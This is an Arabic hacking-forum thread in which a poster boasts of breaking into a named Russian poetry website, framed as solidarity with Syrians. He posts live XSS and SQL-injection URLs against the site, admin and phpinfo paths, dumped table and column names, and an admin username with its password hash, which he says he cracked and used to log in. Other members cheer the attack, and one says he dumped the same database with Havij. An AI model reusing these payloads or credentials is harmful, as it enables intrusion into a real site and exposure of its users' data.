بسم الله الرحمن الرحيم السلام عليكم ورحمه الله وبركاته http://www.tristihii.ru/ Server: Apache http://www.tristihii.ru/phpinfo.php...

معلومات موقع مع الادمن بواسطة خالد سعودي تضامن مع الشعب السوري الحر
بسم الله الرحمن الرحيم
السلام عليكم ورحمه الله وبركاته
http://www.tristihii.ru/
Server: Apache
http://www.tristihii.ru/phpinfo.php
http://www.tristihii.ru/robots.txt
http://www.tristihii.ru/feedback/admin/
http://www.tristihii.ru/forum3//adm(تم تعطيلها من قبل الموقع)
http://www.tristihii.ru/forum3/ucp.php?mode=login ( دخول المنتدي الاعضاء) فكيت الباس المشفر ممكن دخول الادمن من هنا مثل الاعضاء
ثغرات المصابة
http://www.tristihii.ru/raspis/ind.php?view=1&school="><script>*****('XssssssssssSS')</script>

http://www.tristihii.ru/raspis/ind.php?view=1&school=all'
تم استغلال الثغرت sql وستخراج المعلومات
عدد الصفوف: 1040
13402175221.png

المفيد
القاعدة stihii38_club الجدول poll_user العمود username,userpass
النتيجة
admin:f5328997cd73821b7258bdfe81d87266

الباس المشفر بعد فكه
13402180471.png

تم الدخول ولكن
http://www.tristihii.ru/feedback/admin/
ليس لها صلاحية كافية

القاعدة stihii38_club الجدول forum3_users العمود username,username_clean,user_password,user_email,user_email_hash
ملاحظة اذ ماضيفت العمود user_email_hash =82181265626 يطلع ماهو واضح؟؟؟:sly:

النتيجة
13402198971.png


يرفع لكم ملف txt

فك الباسبورد المشفر
دخل من هنا url]http://www.tristihii.ru/forum3/ucp.php?mode=login
ركز على رقم [23]
ممكن يكون دخول نفس الاعضاء

فمان الرحمن
تضامن مع الشعب السوري الحر
 

المرفقات

DR.THMoORY

New Member
معلومات موقع مع الادمن بواسطة خالد سعودي تضامن مع الشعب السوري الحر
رد: معلومات موقع مع الادمن بواسطة خالد سعودي تضامن مع الشعب السوري الحر

ايش دخل موقع روسي بقضيه سوريآ..؟؟
 
معلومات موقع مع الادمن بواسطة خالد سعودي تضامن مع الشعب السوري الحر
رد: معلومات موقع مع الادمن بواسطة خالد سعودي تضامن مع الشعب السوري الحر

DR.THMoORY
الظاهر انت ماشوفت الاخبار من سنة تابع الاخبار والاحداث الشعب السوري يقتل بسلاح روسي ؟
و شكرا ع مرورك
 

DR.THMoORY

New Member
معلومات موقع مع الادمن بواسطة خالد سعودي تضامن مع الشعب السوري الحر
رد: معلومات موقع مع الادمن بواسطة خالد سعودي تضامن مع الشعب السوري الحر

الله يهديك سلاح روسي ولا سلاح صيني .. هاذا كله مايهم ’ ههههه
اخترق مواقع التي مع بشار وليس مواقع ليس له صلح في سوريآ
 
معلومات موقع مع الادمن بواسطة خالد سعودي تضامن مع الشعب السوري الحر
رد: معلومات موقع مع الادمن بواسطة خالد سعودي تضامن مع الشعب السوري الحر

معندك مشكلة ياغالي اهم شي الانجاز وشكرا على مرورك
 

abdoog

New Member
معلومات موقع مع الادمن بواسطة خالد سعودي تضامن مع الشعب السوري الحر
رد: معلومات موقع مع الادمن بواسطة خالد سعودي تضامن مع الشعب السوري الحر

احسنت باختراقك الكفار والله يحقن دماء اخواننا في سوريا
ويجمع شملهم ويهديهم ال
 
معلومات موقع مع الادمن بواسطة خالد سعودي تضامن مع الشعب السوري الحر
رد: معلومات موقع مع الادمن بواسطة خالد سعودي تضامن مع الشعب السوري الحر

abdoog اللهم امين ا بشرك ان النظام متهلك قريبا
 

SyRiAnOo HaCkEr

New Member
معلومات موقع مع الادمن بواسطة خالد سعودي تضامن مع الشعب السوري الحر
رد: معلومات موقع مع الادمن بواسطة خالد سعودي تضامن مع الشعب السوري الحر

مشكور اخي انا ايضأ قمت بسحب قاعدةالبينات ولكن بستخدام برنامج هافيج سحبت الايميل واليوزر والباس وكلشي ولكان لام اجد خواص كافيه
 

SyRiAnOo HaCkEr

New Member
معلومات موقع مع الادمن بواسطة خالد سعودي تضامن مع الشعب السوري الحر
رد: معلومات موقع مع الادمن بواسطة خالد سعودي تضامن مع الشعب السوري الحر

مشكور اخي انا ايضأ قمت بسحب قاعدةالبينات ولكن بستخدام برنامج هافيج سحبت الايميل واليوزر والباس وكلشي ولكان لام اجد خواص كافيه
 
معلومات موقع مع الادمن بواسطة خالد سعودي تضامن مع الشعب السوري الحر
رد: معلومات موقع مع الادمن بواسطة خالد سعودي تضامن مع الشعب السوري الحر

حياك وشكرا على مرورك
 

mimo-dz

Moderator
معلومات موقع مع الادمن بواسطة خالد سعودي تضامن مع الشعب السوري الحر
رد: معلومات موقع مع الادمن بواسطة خالد سعودي تضامن مع الشعب السوري الحر

بارك الله فيك اخي
 
أعلى